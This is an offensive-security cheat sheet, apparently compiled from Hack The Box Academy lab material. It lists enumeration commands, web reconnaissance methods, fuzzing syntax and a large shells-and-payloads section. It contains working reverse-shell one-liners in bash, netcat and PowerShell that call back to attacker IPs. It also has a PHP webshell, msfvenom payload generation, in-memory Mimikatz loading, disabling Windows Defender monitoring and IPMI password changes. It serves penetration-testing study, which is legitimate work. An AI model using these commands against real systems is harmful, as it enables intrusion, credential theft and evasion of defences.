Cheat sheet

Generic cheat sheet

Basic Tools

Command	Description
General
`sudo openvpn user.ovpn`	Connect to VPN
`ifconfig`/`ip a`	Show our IP address
`netstat -rn`	Show networks accessible via the VPN
`ssh user@10.10.10.10`	SSH to a remote server
`ftp 10.129.42.253`	FTP to a remote server
tmux
`tmux`	Start tmux
`ctrl+b`	tmux: default prefix
`prefix c`	tmux: new window
`prefix 1`	tmux: switch to window (`1`)
`prefix shift+%`	tmux: split pane vertically
`prefix shift+"`	tmux: split pane horizontally
`prefix ->`	tmux: switch to the right pane
Vim
`vim file`	vim: open `file` with vim
`esc+i`	vim: enter `insert` mode
`esc`	vim: back to `normal` mode
`x`	vim: Cut character
`dw`	vim: Cut word
`dd`	vim: Cut full line
`yw`	vim: Copy word
`yy`	vim: Copy full line
`p`	vim: Paste
`:1`	vim: Go to line number 1.
`:w`	vim: Write the file 'i.e. save'
`:q`	vim: Quit
`:q!`	vim: Quit without saving
`:wq`	vim: Write and quit

Pentesting

Command	Description
Service Scanning
`nmap 10.129.42.253`	Run nmap on an IP
`nmap -sV -sC -p- 10.129.42.253`	Run an nmap script scan on an IP
`locate scripts/citrix`	List various available nmap scripts
`nmap --script smb-os-discovery.nse -p445 10.10.10.40`	Run an nmap script on an IP
`netcat 10.10.10.10 22`	Grab banner of an open port
`smbclient -N -L \\\\10.129.42.253`	List SMB Shares
`smbclient \\\\10.129.42.253\\users`	Connect to an SMB share
`snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0`	Scan SNMP on an IP
`onesixtyone -c dict.txt 10.129.42.254`	Brute force SNMP secret string
Web Enumeration
`gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt`	Run a directory scan on a website
`gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt`	Run a sub-domain scan on a website
`curl -IL https://www.inlanefreight.com`	Grab website banner
`whatweb 10.10.10.121`	List details about the webserver/certificates
`curl 10.10.10.121/robots.txt`	List potential directories in `robots.txt`
`ctrl+U`	View page source (in Firefox)
Public Exploits
`searchsploit openssh 7.2`	Search for public exploits for a web application
`msfconsole`	MSF: Start the Metasploit Framework
`search exploit eternalblue`	MSF: Search for public exploits in MSF
`use exploit/windows/smb/ms17_010_psexec`	MSF: Start using an MSF module
`show options`	MSF: Show required options for an MSF module
`set RHOSTS 10.10.10.40`	MSF: Set a value for an MSF module option
`check`	MSF: Test if the target server is vulnerable
`exploit`	MSF: Run the exploit on the target server is vulnerable
Using Shells
`nc -lvnp 1234`	Start a `nc` listener on a local port
`bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'`	Send a reverse shell from the remote server
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\\|/bin/sh -i 2>&1\\|nc 10.10.10.10 1234 >/tmp/f`	Another command to send a reverse shell from the remote server
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\\|/bin/bash -i 2>&1\\|nc -lvp 1234 >/tmp/f`	Start a bind shell on the remote server
`nc 10.10.10.1 1234`	Connect to a bind shell started on the remote server
`python -c 'import pty; pty.spawn("/bin/bash")'`	Upgrade shell TTY (1)
`ctrl+z` then `stty raw -echo` then `fg` then `enter` twice	Upgrade shell TTY (2)
`echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php`	Create a webshell php file
`curl http://SERVER_IP:PORT/shell.php?cmd=id`	Execute a command on an uploaded webshell
Privilege Escalation
`./linpeas.sh`	Run `linpeas` script to enumerate remote server
`sudo -l`	List available `sudo` privileges
`sudo -u user /bin/echo Hello World!`	Run a command with `sudo`
`sudo su -`	Switch to root user (if we have access to `sudo su`)
`sudo su user -`	Switch to a user (if we have access to `sudo su`)
`ssh-keygen -f key`	Create a new SSH key
`echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys`	Add the generated public key to the user
`ssh root@10.10.10.10 -i key`	SSH to the server with the generated private key
Transferring Files
`python3 -m http.server 8000`	Start a local webserver
`wget http://10.10.14.1:8000/linpeas.sh`	Download a file on the remote server from our local machine
`curl http://10.10.14.1:8000/linenum.sh -o linenum.sh`	Download a file on the remote server from our local machine
`scp linenum.sh user@remotehost:/tmp/linenum.sh`	Transfer a file to the remote server with `scp` (requires SSH access)
`base64 shell -w 0`	Convert a file to `base64`
`echo f0VMR...SNIO...InmDwU \\| base64 -d > shell`	Convert a file from `base64` back to its orig
`md5sum shell`	Check the file's `md5sum` to ensure it converted correctly

Infrastructure-based Enumeration

Command	Description
`curl -s https://crt.sh/\?q\=<target-domain>\&output\=json \\| jq .`	Certificate transparency.
`for i in $(cat ip-addresses.txt);do shodan host $i;done`	Scan each IP address in a list using Shodan.

Host-based Enumeration

FTP

Command	Description
`ftp <FQDN/IP>`	Interact with the FTP service on the target.
`nc -nv <FQDN/IP> 21`	Interact with the FTP service on the target.
`telnet <FQDN/IP> 21`	Interact with the FTP service on the target.
`openssl s_client -connect <FQDN/IP>:21 -starttls ftp`	Interact with the FTP service on the target using encrypted connection.
`wget -m --no-passive ftp://anonymous:anonymous@<target>`	Download all available files on the target FTP server.

SMB

Command	Description
`smbclient -N -L //<FQDN/IP>`	Null session authentication on SMB.
`smbclient //<FQDN/IP>/<share>`	Connect to a specific SMB share.
`rpcclient -U "" <FQDN/IP>`	Interaction with the target using RPC.
`samrdump.py <FQDN/IP>`	Username enumeration using Impacket scripts.
`smbmap -H <FQDN/IP>`	Enumerating SMB shares.
`crackmapexec smb <FQDN/IP> --shares -u '' -p ''`	Enumerating SMB shares using null session authentication.
`enum4linux-ng.py <FQDN/IP> -A`	SMB enumeration using enum4linux.

NFS

Command	Description
`showmount -e <FQDN/IP>`	Show available NFS shares.
`mount -t nfs <FQDN/IP>:/<share> ./target-NFS/ -o nolock`	Mount the specific NFS share.umount ./target-NFS
`umount ./target-NFS`	Unmount the specific NFS share.

DNS

Command	Description
`dig ns <domain.tld> @<nameserver>`	NS request to the specific nameserver.
`dig any <domain.tld> @<nameserver>`	ANY request to the specific nameserver.
`dig axfr <domain.tld> @<nameserver>`	AXFR request to the specific nameserver.
`dnsenum --dnsserver <nameserver> --enum -p 0 -s 0 -o found_subdomains.txt -f ~/subdomains.list <domain.tld>`	Subdomain brute forcing.

SMTP

Command	Description
`telnet <FQDN/IP> 25`
sudo nmap $ip -sC -sV -p25	Enumerate SMTP service
for user in $(cat users.txt); do echo VRFY $user \| nc -nv -w 6 $ip 25 ; done	Enumerate users

IMAP/POP3

Command	Description
`openssl s_client -connect <FQDN/IP>:imaps`	Connect to the IMAPS service.
`openssl s_client -connect <FQDN/IP>:pop3s`	Connect to the POP3s service.
After connection is established, see the IMAP and POP3 commands:

############
IMAP commandCACCs
############
# User's login
a LOGIN username password

# Lists all directories
a LIST "" *

# Creates a mailbox with a specified name
a CREATE "INBOX" 

# Deletes a mailbox
a DELETE "INBOX" 

# Renames a mailbox
a RENAME "ToRead" "Important"

# Returns a subset of names from the set of names that the User has declared as being active or subscribed
a LSUB "" *

# Selects a mailbox so that messages in the mailbox can be accessed
a SELECT INBOX

# Exits the selected mailbox
a UNSELECT INBOX

# Retrieves data (parts of the message) associated with a message in the mailbox
a FETCH <ID> all
# If you want to retrieve the body:
a FETCH <ID> BODY.PEEK[TEXT]

# Removes all messages with the `Deleted` flag set
a CLOSE

# Closes the connection with the IMAP server
a LOGOUT

############
POP3 Commands
############


# Identifies the user
USER username

# Authentication of the user using its password
PASS password

# Requests the number of saved emails from the server
STAT

# Requests from the server the number and size of all emails
LIST 

# Requests the server to deliver the requested email by ID
RETR id

# Requests the server to delete the requested email by ID
DELE id

# Requests the server to display the server capabilities
CAPA

# Requests the server to reset the transmitted information
RSET

# Closes the connection with the POP3 server
QUIT

Command	Description
sudo nmap $ip -sV -p110,143,993,995 -sC`	Footprinting the service
`curl -v -k 'imaps://<FQDN/IP>' --user <user>:<password>`	Log in to the IMAPS service using cURL. -v is the verbose option to see how the connection is made

After connection is established, see the IMAP and POP3 commands:

SNMP

Command	Description
`snmpwalk -v2c -c <community string> <FQDN/IP>`	Querying OIDs using snmpwalk.
`onesixtyone -c community-strings.list <FQDN/IP>`	Bruteforcing community strings of the SNMP service.
`braa <community string>@<FQDN/IP>:.1.*`	Bruteforcing SNMP service OIDs.

SQL

Command	Description
sudo nmap $ip -sV -sC -p3306 --script mysql*	Footprinting the service
sudo nmap -sS -sV --script mysql-empty-password -p 3306 $ip	Run script for checking out empty passwords.

MySQL

Command	Description

`mysql -u <user> -p<password> -h <IP address>`	Connect to the MySQL server. There should not be a space between the '-p' flag, and the password.
`show databases;`	Show all databases.
`use <database>;`	Select one of the existing databases.
`show tables;`	Show all available tables in the selected database.
`show columns from <table>;`	Show all columns in the selected database.
`select * from <table>;`	Show everything in the desired table.
`select * from <table> where <column> = "<string>";`	Search for needed `string` in the desired table.
##### MSSQL

Command	Description
`nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 $ip`	Enumerate
`mssqlclient.py <user>@<FQDN/IP> -windows-auth`	Log in to the MSSQL server using Windows authentication.

# Get Microsoft SQL server version
select @@version;

# Get usernames
select user_name()
go 

# Get databases
SELECT name FROM master.dbo.sysdatabases
go

# Get current database
SELECT DB_NAME()
go

# Get a list of users in the domain
SELECT name FROM master..syslogins
go

# Get a list of users that are sysadmins
SELECT name FROM master..syslogins WHERE sysadmin = 1
go

# And to make sure: 
SELECT is_srvrolemember(‘sysadmin’)
go
# If your user is admin, it will return 1.

# Read Local Files in MSSQL
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Oracle TNS

Command	Description
`python3 ./odat.py all -s <FQDN/IP>`	Perform a variety of scans to gather information about the Oracle database services and its components.
`sqlplus <user>/<pass>@<FQDN/IP>/<db>`	Log in to the Oracle database.
`python3 ./odat.py utlfile -s <FQDN/IP> -d <db> -U <user> -P <pass> --sysdba --putFile C:\\insert\\path file.txt ./file.txt`	Upload a file with Oracle RDBMS.

IPMI

Command	Description
nmap -n-sU -p 623 $ip/24	Enumerate in a network range
sudo nmap -sU --script ipmi* -p 623 $ip	Run all nmap scripts related to ipmi protocol
`msf6 auxiliary(scanner/ipmi/ipmi_version)`	IPMI version detection.
`msf6 auxiliary(scanner/ipmi/ipmi_dumphashes)`	Dump IPMI hashes. Similar to the The IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval attack
apt-get install ipmitool ipmitool -I lanplus -C 0 -H $ip -U root -P root user list	The IPMI Authentication Bypass via Cipher 0 attack Install ipmitool and use Cipher 0 to dump a list of users. With -C 0 any password is accepted
apt-get install ipmitool ipmitool -I lanplus -C 0 -H $ip -U root -P root user set password 2 abc123	The IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval attack Install ipmitool and change the password of root
	The IPMI Anonymous Authentication attack

Linux Remote Management

Command	Description
`ssh-audit.py <FQDN/IP>`	Remote security audit against the target SSH service.
`ssh <user>@<FQDN/IP>`	Log in to the SSH server using the SSH client.
`ssh -i private.key <user>@<FQDN/IP>`	Log in to the SSH server using private key.
`ssh <user>@<FQDN/IP> -o PreferredAuthentications=password`	Enforce password-based authentication.

Windows Remote Management

RDP

Command	Description
nmap -Pn -sV -p3389 --script rdp-* $ip	Footprinting RDP
git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check ./rdp-sec-check.pl $ip	A Perl script named rdp-sec-check.pl has also been developed by Cisco CX Security Labs that can unauthentically identify the security settings of RDP servers based on the handshakes.
`xfreerdp /u:<user> /p:"<password>" /v:<FQDN/IP>`	Log in to the RDP server from Linux.
`wmiexec.py <user>:"<password>"@<FQDN/IP> "<system command>"`	Execute command using the WMI service.

WinRM

Command	Description
nmap -sV -sC $ip -p5985,5986 --disable-arp-ping -n	Footprinting WinRM
`evil-winrm -i <FQDN/IP> -u <user> -p <password>`	Log in to the WinRM server.

WMI

Command	Description
`evil-winrm -i <FQDN/IP> -u <user> -p <password>`	Log in to the WinRM server.
`wmiexec.py <user>:"<password>"@<FQDN/IP> "<system command>"`	Execute command using the WMI service.

Information gathering

Web reconnaissance is the first step in any security assessment or penetration testing engagement. It's akin to a detective's initial investigation, meticulously gathering clues and evidence about a target before formulating a plan of action. In the digital realm, this translates to accumulating information about a website or web application to identify potential vulnerabilities, security misconfigurations, and valuable assets.

The primary goals of web reconnaissance revolve around gaining a comprehensive understanding of the target's digital footprint. This includes:

Identifying Assets: Discovering all associated domains, subdomains, and IP addresses provides a map of the target's online presence.
Uncovering Hidden Information: Web reconnaissance aims to uncover directories, files, and technologies that are not readily apparent and could serve as entry points for an attacker.
Analyzing the Attack Surface: By identifying open ports, running services, and software versions, you can assess the potential vulnerabilities and weaknesses of the target.
Gathering Intelligence: Collecting information about employees, email addresses, and technologies used can aid in social engineering attacks or identifying specific vulnerabilities associated with certain software.

Web reconnaissance can be conducted using either active or passive techniques, each with its own advantages and drawbacks:

Type	Description	Risk of Detection	Examples
Active Reconnaissance	Involves directly interacting with the target system, such as sending probes or requests.	Higher	Port scanning, vulnerability scanning, network mapping
Passive Reconnaissance	Gathers information without directly interacting with the target, relying on publicly available data.	Lower	Search engine queries, WHOIS lookups, DNS enumeration, web archive analysis, social media

WHOIS

WHOIS is a query and response protocol used to retrieve information about domain names, IP addresses, and other internet resources. It's essentially a directory service that details who owns a domain, when it was registered, contact information, and more. In the context of web reconnaissance, WHOIS lookups can be a valuable source of information, potentially revealing the identity of the website owner, their contact information, and other details that could be used for further investigation or social engineering attacks.

For example, if you wanted to find out who owns the domain example.com, you could run the following command in your terminal:

Code: bash

whois example.com

This would return a wealth of information, including the registrar, registration, and expiration dates, nameservers, and contact information for the domain owner.

However, it's important to note that WHOIS data can be inaccurate or intentionally obscured, so it's always wise to verify the information from multiple sources. Privacy services can also mask the true owner of a domain, making it more difficult to obtain accurate information through WHOIS.

DNS

The Domain Name System (DNS) functions as the internet's GPS, translating user-friendly domain names into the numerical IP addresses computers use to communicate. Like GPS converting a destination's name into coordinates, DNS ensures your browser reaches the correct website by matching its name with its IP address. This eliminates memorizing complex numerical addresses, making web navigation seamless and efficient.

The dig command allows you to query DNS servers directly, retrieving specific information about domain names. For instance, if you want to find the IP address associated with example.com, you can execute the following command:

Code: bash

dig example.com A

This command instructs dig to query the DNS for the A record (which maps a hostname to an IPv4 address) of example.com. The output will typically include the requested IP address, along with additional details about the query and response. By mastering the dig command and understanding the various DNS record types, you gain the ability to extract valuable information about a target's infrastructure and online presence.

DNS servers store various types of records, each serving a specific purpose:

Record Type	Description
A	Maps a hostname to an IPv4 address.
AAAA	Maps a hostname to an IPv6 address.
CNAME	Creates an alias for a hostname, pointing it to another hostname.
MX	Specifies mail servers responsible for handling email for the domain.
NS	Delegates a DNS zone to a specific authoritative name server.
TXT	Stores arbitrary text information.
SOA	Contains administrative information about a DNS zone.

Subdomains

Subdomains are essentially extensions of a primary domain name, often used to organize different sections or services within a website. For example, a company might use mail.example.com for their email server or blog.example.com for their blog.

From a reconnaissance perspective, subdomains are incredibly valuable. They can expose additional attack surfaces, reveal hidden services, and provide clues about the internal structure of a target's network. Subdomains might host development servers, staging environments, or even forgotten applications that haven't been properly secured.

The process of discovering subdomains is known as subdomain enumeration. There are two main approaches to subdomain enumeration:

Approach	Description	Examples
`Active Enumeration`	Directly interacts with the target's DNS servers or utilizes tools to probe for subdomains.	Brute-forcing, DNS zone transfers
`Passive Enumeration`	Collects information about subdomains without directly interacting with the target, relying on public sources.	Certificate Transparency (CT) logs, search engine queries

Active enumeration can be more thorough but carries a higher risk of detection. Conversely, passive enumeration is stealthier but may not uncover all subdomains. Combining both techniques can significantly increase the likelihood of discovering a comprehensive list of subdomains associated with your target, expanding your understanding of their online presence and potential vulnerabilities.

Subdomain Brute-Forcing

Subdomain brute-forcing is a proactive technique used in web reconnaissance to uncover subdomains that may not be readily apparent through passive methods. It involves systematically generating many potential subdomain names and testing them against the target's DNS server to see if they exist. This approach can unveil hidden subdomains that may host valuable information, development servers, or vulnerable applications.

One of the most versatile tools for subdomain brute-forcing is dnsenum. This powerful command-line tool combines various DNS enumeration techniques, including dictionary-based brute-forcing, to uncover subdomains associated with your target.

To use dnsenum for subdomain brute-forcing, you'll typically provide it with the target domain and a wordlist containing potential subdomain names. The tool will then systematically query the DNS server for each potential subdomain and report any that exist.

For example, the following command would attempt to brute-force subdomains of example.com using a wordlist named subdomains.txt:

Code: bash

dnsenum example.com -f subdomains.txt

Zone Transfers

DNS zone transfers, also known as AXFR (Asynchronous Full Transfer) requests, offer a potential goldmine of information for web reconnaissance. A zone transfer is a mechanism for replicating DNS data across servers. When a zone transfer is successful, it provides a complete copy of the DNS zone file, which contains a wealth of details about the target domain.

This zone file lists all the domain's subdomains, their associated IP addresses, mail server configurations, and other DNS records. This is akin to obtaining a blueprint of the target's DNS infrastructure for a reconnaissance expert.

To attempt a zone transfer, you can use the dig command with the axfr (full zone transfer) option. For example, to request a zone transfer from the DNS server ns1.example.com for the domain example.com, you would execute:

Code: bash

dig @ns1.example.com example.com axfr

However, zone transfers are not always permitted. Many DNS servers are configured to restrict zone transfers to authorized secondary servers only. Misconfigured servers, though, may allow zone transfers from any source, inadvertently exposing sensitive information.

Virtual Hosts

Virtual hosting is a technique that allows multiple websites to share a single IP address. Each website is associated with a unique hostname, which is used to direct incoming requests to the correct site. This can be a cost-effective way for organizations to host multiple websites on a single server, but it can also create a challenge for web reconnaissance.

Since multiple websites share the same IP address, simply scanning the IP won't reveal all the hosted sites. You need a tool that can test different hostnames against the IP address to see which ones respond.

Gobuster is a versatile tool that can be used for various types of brute-forcing, including virtual host discovery. Its vhost mode is designed to enumerate virtual hosts by sending requests to the target IP address with different hostnames. If a virtual host is configured for a specific hostname, Gobuster will receive a response from the web server.

To use Gobuster to brute-force virtual hosts, you'll need a wordlist containing potential hostnames. Here's an example command:

Code: bash

gobuster vhost -u http://192.0.2.1 -w hostnames.txt

In this example, -u specifies the target IP address, and -w specifies the wordlist file. Gobuster will then systematically try each hostname in the wordlist and report any that results in a valid response from the web server.

Certificate Transparency (CT) Logs

Certificate Transparency (CT) logs offer a treasure trove of subdomain information for passive reconnaissance. These publicly accessible logs record SSL/TLS certificates issued for domains and their subdomains, serving as a security measure to prevent fraudulent certificates. For reconnaissance, they offer a window into potentially overlooked subdomains.

The crt.sh website provides a searchable interface for CT logs. To efficiently extract subdomains using crt.sh within your terminal, you can use a command like this:

Code: bash

curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u

This command fetches JSON-formatted data from crt.sh for example.com (the % is a wildcard), extracts domain names using jq, removes any wildcard prefixes (*.) with sed, and finally sorts and deduplicates the results.

Web Crawling

Web crawling is the automated exploration of a website's structure. A web crawler, or spider, systematically navigates through web pages by following links, mimicking a user's browsing behavior. This process maps out the site's architecture and gathers valuable information embedded within the pages.

A crucial file that guides web crawlers is robots.txt. This file resides in a website's root directory and dictates which areas are off-limits for crawlers. Analyzing robots.txt can reveal hidden directories or sensitive areas that the website owner doesn't want to be indexed by search engines.

Scrapy is a powerful and efficient Python framework for large-scale web crawling and scraping projects. It provides a structured approach to defining crawling rules, extracting data, and handling various output formats.

Here's a basic Scrapy spider example to extract links from example.com:

Code: python

import scrapy

class ExampleSpider(scrapy.Spider):
    name = "example"
    start_urls = ['http://example.com/']

    def parse(self, response):
        for link in response.css('a::attr(href)').getall():
            if any(link.endswith(ext) for ext in self.interesting_extensions):
                yield {"file": link}
            elif not link.startswith("#") and not link.startswith("mailto:"):
                yield response.follow(link, callback=self.parse)

After running the Scrapy spider, you'll have a file containing scraped data (e.g., example_data.json). You can analyze these results using standard command-line tools. For instance, to extract all links:

Code: bash

jq -r '.[] | select(.file != null) | .file' example_data.json | sort -u

This command uses jq to extract links, awk to isolate file extensions, sort to order them, and uniq -c to count their occurrences. By scrutinizing the extracted data, you can identify patterns, anomalies, or sensitive files that might be of interest for further investigation.

Search Engine Discovery

Leveraging search engines for reconnaissance involves utilizing their vast indexes of web content to uncover information about your target. This passive technique, often referred to as Open Source Intelligence (OSINT) gathering, can yield valuable insights without directly interacting with the target's systems.

By employing advanced search operators and specialized queries known as "Google Dorks," you can pinpoint specific information buried within search results. Here's a table of some useful search operators for web reconnaissance:

Operator	Description	Example
`site:`	Restricts search results to a specific website.	`site:example.com "password reset"`
`inurl:`	Searches for a specific term in the URL of a page.	`inurl:admin login`
`filetype:`	Limits results to files of a specific type.	`filetype:pdf "confidential report"`
`intitle:`	Searches for a term within the title of a page.	`intitle:"index of" /backup`
`cache:`	Shows the cached version of a webpage.	`cache:example.com`
`"search term"`	Searches for the exact phrase within quotation marks.	`"internal error" site:example.com`
`OR`	Combines multiple search terms.	`inurl:admin OR inurl:login`
`-`	Excludes specific terms from search results.	`inurl:admin -intext:wordpress`

By creatively combining these operators and crafting targeted queries, you can uncover sensitive documents, exposed directories, login pages, and other valuable information that may aid in your reconnaissance efforts.

Web Archives

Web archives are digital repositories that store snapshots of websites across time, providing a historical record of their evolution. Among these archives, the Wayback Machine is the most comprehensive and accessible resource for web reconnaissance.

The Wayback Machine, a project by the Internet Archive, has been archiving the web for over two decades, capturing billions of web pages from across the globe. This massive historical data collection can be an invaluable resource for security researchers and investigators.

Feature	Description	Use Case in Reconnaissance
`Historical Snapshots`	View past versions of websites, including pages, content, and design changes.	Identify past website content or functionality that is no longer available.
`Hidden Directories`	Explore directories and files that may have been removed or hidden from the current version of the website.	Discover sensitive information or backups that were inadvertently left accessible in previous versions.
`Content Changes`	Track changes in website content, including text, images, and links.	Identify patterns in content updates and assess the evolution of a website's security posture.

By leveraging the Wayback Machine, you can gain a historical perspective on your target's online presence, potentially revealing vulnerabilities that may have been overlooked in the current version of the website.

File Transferr techniques

Command	Description
`Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1`	Download a file with PowerShell
`IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')`	Execute a file in memory using PowerShell
`Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64`	Upload a file with PowerShell
`bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe`	Download a file using Bitsadmin
`certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe`	Download a file using Certutil
`wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh`	Download a file using Wget
`curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh`	Download a file using cURL
`php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'`	Download a file using PHP
`scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip`	Upload a file using SCP
`scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe`	Download a file using SCP
`Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"`	Invoke-WebRequest using a Chrome User Agent

Fuzzing with Ffuf

Command	Description
`ffuf -h`	ffuf help
`ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ`	Directory Fuzzing
`ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/indexFUZZ`	Extension Fuzzing
`ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php`	Page Fuzzing
`ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v`	Recursive Fuzzing
`ffuf -w wordlist.txt:FUZZ -u https://FUZZ.hackthebox.eu/`	Sub-domain Fuzzing
`ffuf -w wordlist.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -fs xxx`	VHost Fuzzing
`ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs xxx`	Parameter Fuzzing - GET
`ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx`	Parameter Fuzzing - POST
`ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx`	Value Fuzzing

Wordlists

Command	Description
`/opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt`	Directory/Page Wordlist
`/opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt`	Extensions Wordlist
`/opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt`	Domain Wordlist
`/opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt`	Parameters Wordlist

Misc

Command	Description
`sudo sh -c 'echo "SERVER_IP academy.htb" >> /etc/hosts'`	Add DNS entry
`for i in $(seq 1 1000); do echo $i >> ids.txt; done`	Create Sequence Wordlist
`curl http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=key' -H 'Content-Type: application/x-www-form-urlencoded'`	curl w/ POST

Shells & Payloads

Commands	Description
`xfreerdp /v:10.129.x.x /u:htb-student /p:HTB_@cademy_stdnt!`	CLI-based tool used to connect to a Windows target using the Remote Desktop Protocol
`env`	Works with many different command language interpreters to discover the environmental variables of a system. This is a great way to find out which shell language is in use
`sudo nc -lvnp <port #>`	Starts a `netcat` listener on a specified port
`nc -nv <ip address of computer with listener started><port being listened on>`	Connects to a netcat listener at the specified IP address and port
`rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f \\| /bin/bash -i 2>&1 \\| nc -l 10.129.41.200 7777 > /tmp/f`	Uses netcat to bind a shell (`/bin/bash`) the specified IP address and port. This allows for a shell session to be served remotely to anyone connecting to the computer this command has been issued on
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535\\|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 \\| Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"	`Powershell` one-liner used to connect back to a listener that has been started on an attack box
`Set-MpPreference -DisableRealtimeMonitoring $true`	Powershell command using to disable real time monitoring in `Windows Defender`
`use exploit/windows/smb/psexec`	Metasploit exploit module that can be used on vulnerable Windows system to establish a shell session utilizing `smb` & `psexec`
`shell`	Command used in a meterpreter shell session to drop into a `system shell`
`msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > nameoffile.elf`	`MSFvenom` command used to generate a linux-based reverse shell `stageless payload`
`msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > nameoffile.exe`	MSFvenom command used to generate a Windows-based reverse shell stageless payload
`msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f macho > nameoffile.macho`	MSFvenom command used to generate a MacOS-based reverse shell payload
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.113 LPORT=443 -f asp > nameoffile.asp`	MSFvenom command used to generate a ASP web reverse shell payload
`msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f raw > nameoffile.jsp`	MSFvenom command used to generate a JSP web reverse shell payload
`msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f war > nameoffile.war`	MSFvenom command used to generate a WAR java/jsp compatible web reverse shell payload
`use auxiliary/scanner/smb/smb_ms17_010`	Metasploit exploit module used to check if a host is vulnerable to `ms17_010`
`use exploit/windows/smb/ms17_010_psexec`	Metasploit exploit module used to gain a reverse shell session on a Windows-based system that is vulnerable to ms17_010
`use exploit/linux/http/rconfig_vendors_auth_file_upload_rce`	Metasploit exploit module that can be used to optain a reverse shell on a vulnerable linux system hosting `rConfig 3.9.6`
`python -c 'import pty; pty.spawn("/bin/sh")'`	Python command used to spawn an `interactive shell` on a linux-based system
`/bin/sh -i`	Spawns an interactive shell on a linux-based system
`perl —e 'exec "/bin/sh";'`	Uses `perl` to spawn an interactive shell on a linux-based system
`ruby: exec "/bin/sh"`	Uses `ruby` to spawn an interactive shell on a linux-based system
`Lua: os.execute('/bin/sh')`	Uses `Lua` to spawn an interactive shell on a linux-based system
`awk 'BEGIN {system("/bin/sh")}'`	Uses `awk` command to spawn an interactive shell on a linux-based system
`find / -name nameoffile 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;`	Uses `find` command to spawn an interactive shell on a linux-based system
`find . -exec /bin/sh \; -quit`	An alternative way to use the `find` command to spawn an interactive shell on a linux-based system
`vim -c ':!/bin/sh'`	Uses the text-editor `VIM` to spawn an interactive shell. Can be used to escape "jail-shells"
`ls -la <path/to/fileorbinary>`	Used to `list` files & directories on a linux-based system and shows the permission for each file in the chosen directory. Can be used to look for binaries that we have permission to execute
`sudo -l`	Displays the commands that the currently logged on user can run as `sudo`
`/usr/share/webshells/laudanum`	Location of `laudanum webshells` on ParrotOS and Pwnbox
`/usr/share/nishang/Antak-WebShell`	Location of `Antak-Webshell` on Parrot OS and Pwnbox

Download Cheatsheet

Metasploit

MSFconsole Commands

